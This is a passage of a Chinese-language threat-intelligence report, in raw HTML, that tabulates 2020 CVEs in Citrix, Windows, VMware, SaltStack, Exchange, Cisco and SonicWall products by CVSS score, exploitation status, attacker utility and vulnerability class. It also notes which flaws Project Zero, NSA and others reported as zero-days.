0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">7.8</span></p></td><td width="128" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Targeted Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploited  in the wild</span></span><span style="font-family:Arial,sans-serif;color:#595959;"> (reported as 0day)</span></p></td><td width="90" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Local code execution</span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Improper Access Control</span></p></td></tr><tr><td width="199" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-8195</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Citrix NetScaler ADC/Gateway/SD-WAN WANOP Improper  Access Control</span></p></td><td width="52" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">6.5</span></p></td><td width="128" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Targeted Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploited  in the wild</span></span></p></td><td width="90" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Network pivot</span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Improper Access Control</span></p></td></tr><tr><td width="199" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-8193</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Citrix NetScaler ADC/Gateway Authentication Bypass</span></p></td><td width="52" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">6.5</span></p></td><td width="128" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Targeted Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploited  in the wild</span></span></p></td><td width="90" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Network pivot</span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Improper Access Control</span></p></td></tr><tr><td width="199" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-8196</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Citrix NetScaler ADC/Gateway/SD-WAN WANOP Improper  Access Control</span></p></td><td width="52" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">4.3</span></p></td><td width="128" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Targeted Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploited  in the wild</span></span></p></td><td width="90" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Network pivot</span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Improper Access Control</span></p></td></tr><tr><td width="199" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-0601</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Windows CryptoAPI Spoofing Vulnerability  &#34;Curveball&#34;</span></p></td><td width="52" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">8.1</span></p></td><td width="128" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Targeted Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploited  in the wild</span></span></p></td><td width="90" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Remote code execution</span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Improper Access Control</span></p></td></tr><tr><td width="199" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-3992</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">VMware ESXi OpenSLP Use-After-Free Remote Code  Execution (Incomplete Patch)</span></p></td><td width="52" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">9.8</span></p></td><td width="128" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Targeted Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploited  in the wild</span></span></p></td><td width="90" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Network infrastructure compromise</span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Memory Corruption</span></p></td></tr><tr><td width="199" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-3118</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Cisco IOS XR Software Discovery Protocol Format String  Vulnerability &#34;CDPwn&#34;</span></p></td><td width="52" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">8.8</span></p></td><td width="128" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Targeted Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploited  in the wild</span></span></p></td><td width="90" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Remote code execution</span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Memory Corruption</span></p></td></tr><tr><td width="199" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-1350</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Windows DNS Server Remote Code Execution  &#34;SigRed&#34;&#34;</span></p></td><td width="52" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">10</span></p></td><td width="128" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Targeted Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploited  in the wild</span></span></p></td><td width="90" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Remote code execution</span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Memory Corruption</span></p></td></tr></tbody></table><p><span style="font-size: 14px;">*卡巴斯基看到针对CVE-2020-0986漏洞的野生攻击行为后，提供了CVE-2020-0986的报告。但表示，在他们通知之前，微软已经准备个补丁。即使卡巴斯基不是唯一一家观察到此行为的公司，但仍然将这个CVE归为零日漏洞里。</span></p><p style=""><span style="font-size: 15px;"> </span></p><p style=""><span style="font-size: 15px;">在这之中有8个cve(超过一半)被作为零日漏洞报告给了相应的软件供应商，提醒他们这些cve已经有了野生的利用方法，其中:3个来自谷歌的Project Zero和Threat Analysis Group (CVE-2020-1020、CVE-2020-17087和CVE-2020-15999)， 1个来自NSA(VMware CVE-2020-4006)，其余的来自各种安全研究人员和公司。</span><span style="font-size: 15px;">SolarWinds Orion CVE-2020-10148就是其中之一，在这里值得一提的是，这个漏洞极有可能已经被更多的人利用。然而，在写这篇文章的时候，还没有关于大规模利用的公开报告——只有大规模扫描的报告——直到更多的利用得到证实之前，我们都将其归类为有针对性的威胁。</span></p><p><span style="font-size: 15px;"> </span></p><p><span style="font-size: 15px;">除了三个Citrix漏洞外，Windows DNS服务器（2020-1350），Windows CryptoAPI（2020-0601），Cisco IOS XR（2020-3118）和VMware Workspace ONE（2020-4006）都被列入了NSA发布的关于俄罗斯(VMware CVE-2020-4006)和</span><span style="font-size: 15px;">中国(其他国家)的漏洞威胁利用2020年第四季度出版物中。</span><span style="font-size: 15px;">（NSA还是在2020年1月向Microsoft披露了“Curveball” CVE-2020-0601的实际案例。）总而言之，NSA是我们2020年安全威胁数据中很大一部分的原始资料来源。</span></p><hr size="1" width="33%" style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p style=""><br/></p><h3><span style="color: rgb(233, 95, 38);"><strong><span style="font-size: 15px;">Impending Threats（紧急的威胁）</span></strong></span></h3><p><span style="font-size: 15px;">随着主动利用漏洞暂告一段落，我们可以把注意力转向2020年一些值得注意的紧急的威胁。作为一个简短的提醒，当威胁三角（<strong><span style="font-family: 等线;color: rgb(89, 89, 89);letter-spacing: 0.33px;background: rgb(254, 254, 254);">意图、能力、机会</span></strong>）只有两个元素出现时，我们就会把这种漏洞归结为紧急的威胁。由于这篇文章所诉集中在漏洞上，所以我们判定“机会”元素在默认情况下是存在的。我们在本节中提出的即将发生的威胁包含一个要素(即一个成熟的exploit)或一个可衡量意图的代替品。如果没有NSA发布的2020年第四季度公告，将会有许多有针对性的威胁（Targeted Threats）漏洞会被划分进入紧急的威胁（ImpendingThreats）漏洞中。</span></p><p><span style="font-size: 15px;"> </span></p><p><span style="font-size: 15px;">注意：此组中的一些漏洞具有可用的公共概念验证（PoC）代码，但就本文而言，我们认为公共概念验证与技术细节类似，因为它可以使其他人构建成功的攻击链或改进后的攻击技术，但它与成熟的攻击代码不同。概念验证代码在成为一个完全武器化并可以进行漏洞利用的程序之前，还需要一个漫长的过程。</span></p><table cellspacing="0" cellpadding="0" width="554"><tbody><tr><td width="202" style="border-width: 1px;border-style: solid;border-color: windowtext;background: rgb(33, 179, 205);padding: 0.1px;"><p style="text-align:left;"><strong><span style="font-family:Arial,sans-serif;color:white;">CVE</span></strong></p></td><td width="51" style="border-top: 1px solid windowtext;border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: none;background: rgb(33, 179, 205);padding: 0.1px;"><p><strong><span style="font-family:Arial,sans-serif;color:white;">CVSS v3</span></strong></p></td><td width="120" style="border-top: 1px solid windowtext;border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: none;background: rgb(33, 179, 205);padding: 0.1px;"><p><strong><span style="font-family:Arial,sans-serif;color:white;">Threat Status</span></strong></p></td><td width="89" style="border-top: 1px solid windowtext;border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: none;background: rgb(33, 179, 205);padding: 0.1px;"><p><strong><span style="font-family:Arial,sans-serif;color:white;">Attacker Utility</span></strong></p></td><td width="94" style="border-top: 1px solid windowtext;border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: none;background: rgb(33, 179, 205);padding: 0.1px;"><p><strong><span style="font-family:Arial,sans-serif;color:white;">Vulnerability Class</span></strong></p></td></tr><tr><td width="202" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-3950</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">VMware Fusion Local Privilege Escalation (Incomplete  Patch)</span></p></td><td width="51" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">7.8</span></p></td><td width="120" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Impending Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploit  Available</span></span></p></td><td width="89" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Local code execution</span></p></td><td width="94" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Improper Access Control</span></p></td></tr><tr><td width="202" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-25592</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">SaltStack Salt Authentication Bypass</span></p></td><td width="51" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">9.8</span></p></td><td width="120" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Impending Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploit  Available</span></span></p></td><td width="89" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Network infrastructure compromise</span></p></td><td width="94" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Improper Access Control</span></p></td></tr><tr><td width="202" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-3952</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">VMware vCenter Server/vmdir Information Disclosure</span></p></td><td width="51" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">9.8</span></p></td><td width="120" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Impending Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploit  Available</span></span></p></td><td width="89" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Network infrastructure compromise</span></p></td><td width="94" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Improper Access Control</span></p></td></tr><tr><td width="202" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-16952</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Microsoft SharePoint Authenticated Remote Code  Execution</span></p></td><td width="51" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">7.8</span></p></td><td width="120" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Impending Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploit  Available</span></span></p></td><td width="89" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Remote code execution</span></p></td><td width="94" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Deserialization / .NET</span></p></td></tr><tr><td width="202" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-16846</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">SaltStack Salt Command Injection</span></p></td><td width="51" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">9.8</span></p></td><td width="120" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Impending Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploit  Available</span></span></p></td><td width="89" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Network infrastructure compromise</span></p></td><td width="94" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Injection</span></p></td></tr><tr><td width="202" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-16875</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Microsoft Exchange Server DLP Policy Remote Code  Execution</span></p></td><td width="51" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">8.4</span></p></td><td width="120" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Impending Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploit  Available</span></span></p></td><td width="89" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Remote code execution</span></p></td><td width="94" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Injection</span></p></td></tr><tr><td width="202" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-5135</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">SonicWall SonicOS Portal Buffer Overflow</span></p></td><td width="51" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">9.4</span></p></td><td width="120" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Impending Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">High-Value  Target</span></span></p></td><td width="89" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Network pivot</span></p></td><td width="94" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Memory Corruption</span></p></td></tr><tr><td width="202" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-16898</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Windows TCP/IP Remote Code Execution &#34;Bad  Neighbor&#34;</span></p></td><td width="51" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">8.8</span></p></td><td width="120" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Impending Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">High-Value  Target</span></span></p></td><td width="89" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Remote code execution</span></p></td><td width="94" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Memory Corruption</span></p></td></tr><tr><td width="202" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-8209</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Citrix XenMobile Server File Disclosure</span></p></td><td width="51" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">7.5</span></p></td><td width="120" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Impending Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">High-Value  Target</span></span></p></td><td width="89" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">File enumeration</span></p></td><td width="94" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Improper Access Control</span></p></td></tr><tr><td width="202" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-3187</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Cisco Adaptive Security Appliance/Firepower Threat  Defense Path Traversal</span></p></td><td width="51" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span 